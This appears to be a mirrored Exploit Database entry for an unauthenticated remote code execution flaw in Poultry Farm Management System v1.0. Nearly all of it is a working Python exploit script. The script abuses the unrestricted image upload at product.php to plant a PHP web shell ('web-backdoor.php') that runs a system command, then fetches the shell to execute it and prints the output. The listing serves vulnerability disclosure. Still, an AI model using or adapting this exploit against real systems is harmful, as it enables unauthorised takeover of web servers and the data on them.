Poultry Farm Management System v1.0 – Remote Code Execution (RCE)

• Exploit Database
• 19 阅读

• 作者： Jerry Thomas
  日期： 2024-06-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/52053/

• # Exploit Title: Poultry Farm Management System v1.0 - Remote Code Execution (RCE)
  # Date: 24-06-2024
  # CVE: N/A (Awaiting ID to be assigned)
  # Exploit Author: Jerry Thomas (w3bn00b3r)
  # Vendor Homepage: https://www.sourcecodester.com/php/15230/poultry-farm-management-system-free-download.html
  # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Redcock-Farm.zip
  # Github - https://github.com/w3bn00b3r/Unauthenticated-Remote-Code-Execution-RCE---Poultry-Farm-Management-System-v1.0/
  # Category: Web Application
  # Version: 1.0
  # Tested on: Windows 10 | Xampp v3.3.0
  # Vulnerable endpoint: http://localhost/farm/product.php
  
  import requests
  from colorama import Fore, Style, init
  
  # Initialize colorama
  init(autoreset=True)
  
  def upload_backdoor(target):
  upload_url = f"{target}/farm/product.php"
  shell_url = f"{target}/farm/assets/img/productimages/web-backdoor.php"
  
  # Prepare the payload
  payload = {
  'category': 'CHICKEN',
  'product': 'rce',
  'price': '100',
  'save': ''
  }
  
  # PHP code to be uploaded
  command = "hostname"
  data = f"<?php system('{command}');?>"
  
  # Prepare the file data
  files = {
  'productimage': ('web-backdoor.php', data, 'application/x-php')
  }
  
  try:
  print("Sending POST request to:", upload_url)
  response = requests.post(upload_url, files=files, data=payload,
  verify=False)
  
  if response.status_code == 200:
  print("\nResponse status code:", response.status_code)
  print(f"Shell has been uploaded successfully: {shell_url}")
  
  # Make a GET request to the shell URL to execute the command
  shell_response = requests.get(shell_url, verify=False)
  print("Command output:", Fore.GREEN +
  shell_response.text.strip())
  else:
  print(f"Failed to upload shell. Status code:
  {response.status_code}")
  print("Response content:", response.text)
  except requests.RequestException as e:
  print(f"An error occurred: {e}")
  
  if __name__ == "__main__":
  target = "http://localhost"# Change this to your target
  upload_backdoor(target)